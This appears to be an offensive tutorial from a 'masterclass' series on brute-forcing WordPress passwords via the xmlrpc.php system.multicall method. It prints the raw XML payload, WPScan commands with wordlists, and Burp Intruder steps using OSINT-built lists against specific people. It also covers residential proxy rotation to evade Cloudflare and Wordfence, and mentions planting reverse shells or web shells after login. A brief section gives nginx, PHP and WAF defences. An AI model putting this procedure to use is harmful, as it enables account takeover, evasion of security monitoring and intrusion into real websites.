wpscan --url target.com --passwords-attack xmlrpc --multicall-max-passwords 500
The Death of Traditional Credential Stuffing
To understand the exploit, you must understand the defense. When a standard dictionary attack targets wp-login.php, it generates a unique HTTP POST request for every single password guess. Modern WordPress security plugins like Wordfence, Sucuri, and Shield track these requests individually. After 5-20 failed attempts from the same IP address, the account is locked, the IP is blacklisted, and the SOC receives an automated alert.
This is the fundamental rate-limiting mechanism. And for years, it was considered sufficient.
The problem is that this defense model has a critical architectural blind spot: it counts HTTP requests, not authentication attempts. This distinction is the entire foundation of the XML-RPC multicall attack.
The XML-RPC Multicall Vector
WordPress ships with a file called xmlrpc.php. This legacy API endpoint supports a method called system.multicall, which was originally designed to allow developers to execute multiple API calls within a single HTTP request for performance optimization.
From a security perspective, this is a catastrophic design flaw.
An attacker can construct a single XML POST request to xmlrpc.php that contains 500 separate wp.getUsersBlogs authentication attempts, each with a different password from a wordlist. To the server's access log and to the rate-limiting plugin, this appears as a single request. The IP is not flagged, the account is not locked, and no alert is triggered.
The Raw Payload
<?xml version="1.0"?>
<methodCall>
<methodName>system.multicall</methodName>
<params>
<param>
<value>
<array>
<data>
<value>
<struct>
<member>
<name>methodName</name>
<value><string>wp.getUsersBlogs</string></value>
</member>
<member>
<name>params</name>
<value>
<array>
<data>
<value><string>admin</string></value>
<value><string>password123</string></value>
</data>
</array>
</value>
</member>
</struct>
</value>
<!-- Repeat for each password guess -->
</data>
</array>
</value>
</param>
</params>
</methodCall>Each <struct> block in the array represents one password guess. You can pack hundreds of these into a single request.
Automating the Attack with WPScan
WPScan has built-in support for this attack vector. Instead of hammering wp-login.php, you instruct WPScan to route its brute-force operation through the XML-RPC endpoint.
wpscan --url https://target-staging.com \
-U admin \
-P /opt/seclists/Passwords/10k-most-common.txt \
--password-attack xmlrpc-multicall \
--multicall-max-passwords 500 \
--max-threads 5Deconstructing the Payload
--password-attack xmlrpc-multicall: This flag tells WPScan to use the multicall vector instead of the default wp-login.php form submission.--multicall-max-passwords 500: This sets the number of password guesses packed into each single HTTP request. 500 is a safe upper limit; going higher risks triggering WAF body-size limits.--max-threads 5: We deliberately keep threads low to avoid generating suspicious traffic spikes.
Surgical Precision with Burp Suite Intruder
While WPScan is excellent for automated engagements, Burp Suite Intruder provides the surgical control needed for high-value targets where stealth is paramount.
Step 1: Capture the Baseline Request
Configure your browser to proxy through Burp Suite (default: 127.0.0.1:8080). Navigate to the target's xmlrpc.php endpoint and submit a manual test request. Capture this POST request in the Proxy > HTTP history tab, then send it to the Intruder module.
Step 2: Define the Attack Parameters
In the Intruder > Positions tab, clear all default payload markers. Manually highlight only the password value within the XML body and set it as a payload position. This ensures Burp iterates through your wordlist, swapping out only the password field while keeping the rest of the XML structure intact.
Step 3: Load the Payload
Navigate to the Intruder > Payloads tab. Load your curated wordlist. For targeted attacks against specific individuals, use a custom list generated from OSINT (birthdays, pet names, company names combined with common patterns).
Step 4: Analyze the Results
Launch the attack and sort the results by response length or status code. A successful authentication attempt against wp.getUsersBlogs will return a significantly larger response body containing the user's blog details, while failed attempts return a short, generic fault response.
Evading Cloudflare and Wordfence: The Proxy Layer
Even with the multicall technique reducing the request count, Cloudflare's behavioral analysis engine will eventually flag sustained traffic from a single IP. To maintain operational persistence, you must integrate Dedicated ISP Proxies into your attack infrastructure.
Integrating Proxy Rotation
wpscan --url https://target-staging.com \
-U admin \
-P wordlist.txt \
--password-attack xmlrpc-multicall \
--proxy http://user:pass@isp-proxy.com:port \
--random-user-agentBy routing your WPScan traffic through ISP-grade proxies, each request originates from a residential IP address. To the WAF, your brute-force campaign looks like a distributed network of legitimate users interacting with the site.
Blue Team: Neutralizing the Multicall Vector
If you are on the defensive side, here is how to permanently shut down this attack vector:
Server-Level Block (Nginx)
location = /xmlrpc.php {
deny all;
access_log off;
log_not_found off;
}Application-Level Block (functions.php)
add_filter('xmlrpc_enabled', '__return_false');WAF Rule: Inspect Request Body
For organizations that rely on XML-RPC for legitimate integrations (e.g., Jetpack), a full block is not feasible. Instead, implement a WAF rule that inspects the POST body for the system.multicall string and blocks only those requests.
The Handoff: From Credentials to Exploitation
Once valid credentials are obtained, the operation transitions from Phase 2 (Vulnerability Analysis) to Phase 3 (Exploitation). With admin access, you can upload a malicious plugin containing a PHP reverse shell, edit theme files to inject a web shell, or leverage the built-in Theme Editor to establish persistent access.
In the next masterclass, we shift our focus from the perimeter to the codebase. Learn how to audit custom WordPress plugins for logic flaws that automated scanners will never find.